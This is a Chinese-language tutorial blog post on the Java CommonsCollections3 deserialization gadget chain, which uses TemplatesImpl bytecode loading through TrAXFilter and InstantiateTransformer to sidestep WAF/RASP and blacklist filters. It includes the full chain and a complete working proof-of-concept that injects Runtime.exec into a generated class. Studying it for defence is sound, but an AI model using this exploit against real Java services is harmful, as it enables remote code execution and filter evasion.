CC1 中,我们最终利用的是 Runtime.getRuntime().exec() 来执行命令。然而,在实际攻防环境中,Runtime.exec 经常面临两个问题:

  1. 黑名单限制:很多 WAFRASP 会监控 Runtime.exec 的调用。

  2. 序列化过滤器CommonsCollections1 依赖的 InvokerTransformer 经常是黑名单的首选目标。

CC3 的精髓在于: 它不再直接调用 Runtime.exec,而是通过 动态类加载(Dynamic Class Loading) 的方式,加载一段恶意字节码并初始化。这通常绕过了对"命令执行函数"的直接监控,且利用 InstantiateTransformer 替代了部分场景下被禁用的 InvokerTransformer


JDK 版本:由于 CommonsCollections3 使用 AnnotationInvocationHandler 作为入口,它受到 JDK 版本限制。请在 JDK 8u71 之前 的版本运行。下文我们使用 JDK 8u65 进行学习

补一段P牛的原文

2015年初,@frohoff 和 @gebl 发布了 Talk《Marshalling Pickles: how deserializing objects will ruin your day》,以及 Java 反序列化利用工具 ysoserial,随后引爆了安全界。 开发者们自然会去找寻一种安全的过滤方法,于是类似 SerialKiller 这样的工具随之诞生。 SerialKiller 是一个 Java 反序列化过滤器,可以通过 黑名单白名单 的方式来限制反序列化时允许通过的类。在其发布的第一个版本代码中,我们可以看到其给出了最初的黑名单。

Gadgets

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> Map(Proxy).entrySet()
      -> AnnotationInvocationHandler.invoke()
        -> LazyMap.get()
          -> ChainedTransformer.transform()
            -> ConstantTransformer.transform()  // 1. 返回 TrAXFilter.class
            -> InstantiateTransformer.transform() // 2. 调用 TrAXFilter 构造函数
              -> TrAXFilter.<init>() // 3. 构造函数内部逻辑
                -> TemplatesImpl.newTransformer() // 4. 触发恶意类加载
                  -> TemplatesImpl.getTransletInstance()
                    -> TemplatesImpl.defineTransletClasses()
                      -> Class.newInstance()
                        -> (恶意字节码静态代码块/初始化逻辑触发命令执行)

POC

package CommonsCollections3;
​
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
​
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
​
public class CommonCollections3 {
​
    public static void main(String[] args) throws Exception {
​
        // 1. 制作恶意 TemplatesImpl
        Object templates = createTemplatesImpl("calc");
​
        // 2. 构造 Transformer 链
        //   ConstantTransformer(TrAXFilter.class) -> 返回 TrAXFilter 类
        //   InstantiateTransformer(param)         -> 调用 new TrAXFilter(templates)
        //   TrAXFilter 构造函数                    -> 调用 templates.newTransformer() -> RCE
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };
​
        // 3. 组合 ChainedTransformer
        Transformer transformerChain = new ChainedTransformer(transformers);
​
        // 4. LazyMap 装饰
        Map innerMap = new HashMap();
        // 使用 LazyMap 包装 innerMap,当 get 找不到 key 时,触发 transformerChain
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
​
        // 5. 制作 AnnotationInvocationHandler 代理
        // 获取类引用
        Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
​
        // 实例化 handler,代理 LazyMap
        // 使用 Retention.class 是因为它是标准注解,且适配 entrySet
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
​
        // 6. 创建动态代理对象
        // 当对这个 mapProxy 进行操作(如 entrySet)时,会进入 handler.invoke
        Map mapProxy = (Map) Proxy.newProxyInstance(
            LazyMap.class.getClassLoader(),
            new Class[]{Map.class},
            handler
        );
​
        // 7. 再次包装 AnnotationInvocationHandler (为了满足 readObject 的触发逻辑)
        // 在反序列化时, readObject 调用 memberValues.entrySet() 从而触发上面的 mapProxy
        Object finalObject = constructor.newInstance(Retention.class, mapProxy);
​
        byte[] serializedData = serialize(finalObject);
​
        unserialize(serializedData);
    }
​
    // 创建恶意 TemplatesImpl
    private static Object createTemplatesImpl(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
        // 必须继承 AbstractTranslet, 因为 defineTransletClasses 会校验
        cc.setSuperclass(pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName()));
​
        // 将恶意代码写入静态代码块
        String cmdStr = "java.lang.Runtime.getRuntime().exec(\"" + cmd + "\");";
        cc.makeClassInitializer().insertBefore(cmdStr);
​
        // 获取字节码
        byte[] bytecodes = cc.toBytecode();
​
        // 实例化 TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();
​
        // 通过反射设置私有字段
        setFieldValue(templates, "_bytecodes", new byte[][]{bytecodes});
        setFieldValue(templates, "_name", "Sinon"); // 必须非空
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
​
        return templates;
    }
​
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
​
    public static byte[] serialize(Object obj) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(obj);
        return baos.toByteArray();
    }
​
    public static Object unserialize(byte[] bytes) throws Exception {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        return ois.readObject();
    }
}

Sink

依然是从 sink 往回学习,从 gadgets 可以看到,和 CommonsCollections1 不同的点就在下面这个数组链的构造

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templates}
            )
        };

触发这条链的方式和之前一样,采用 ChainedTransformer.transform 串联。

如下小 demo 测试

回顾一下 ChainedTransformer.transform 方法。this.iTransformerstransformersTransformer[] 数组实例。

ChainedTransformer.transform 即依次调用数组每个元素的 transform 方法,然后将前一个元素 transform 得到的返回值传给下一个元素,当作下一个元素 transforminput

我们在前面给数组填充了一个 ConstantTransformer 对象作为元素 0 (下标) , 一个 InstantiateTransformer 对象作为元素 1 (下标)

现在按找顺序遍历,先执行 ConstantTransformer(TrAXFilter.class).transform

很容易理解,即直接返回一个 TrAXFilter 对象

继续遍历下一个元素, 执行 InstantiateTransformer.transform

其中通过构造函数得到

this.iParamTypes = new Class[]{Templates.class}

this.iArgs = new Object[]{templates}

现在进入 transformelse 分支,我们现在的 Object input 即上一个元素传给我们的 TrAXFilter 对象。

所以现在实际执行的是

    Constructor con = TrAXFilter.class.getConstructor(Templates.class)
    return con.newInstance(templates);
    
    ------------
    // 等价于
    ------------
    return new TrAXFilter(templates);

我们再看看 TrAXFilter 的构造方法,其中关键的一环即 _transformer = (TransformerImpl) templates.newTransformer();

这里 TransformerImpl.newTransformer 就直接导致了 templates 恶意对象内的静态代码块的字节码执行。(TransformerImpl 执行原理可以详细见文章 CommonsCollections2

Kick-Off

后面的核心 sink 分析完,前面的入口链和 CommonsCollections1 是一致的。

ObjectInputStream.readObject()
  -> AnnotationInvocationHandler.readObject()
    -> Map(Proxy).entrySet()
      -> AnnotationInvocationHandler.invoke()
        -> LazyMap.get()

Reference

《Java安全漫谈 - 14.为什么需要CommonsCollections3》


国家一级保护废物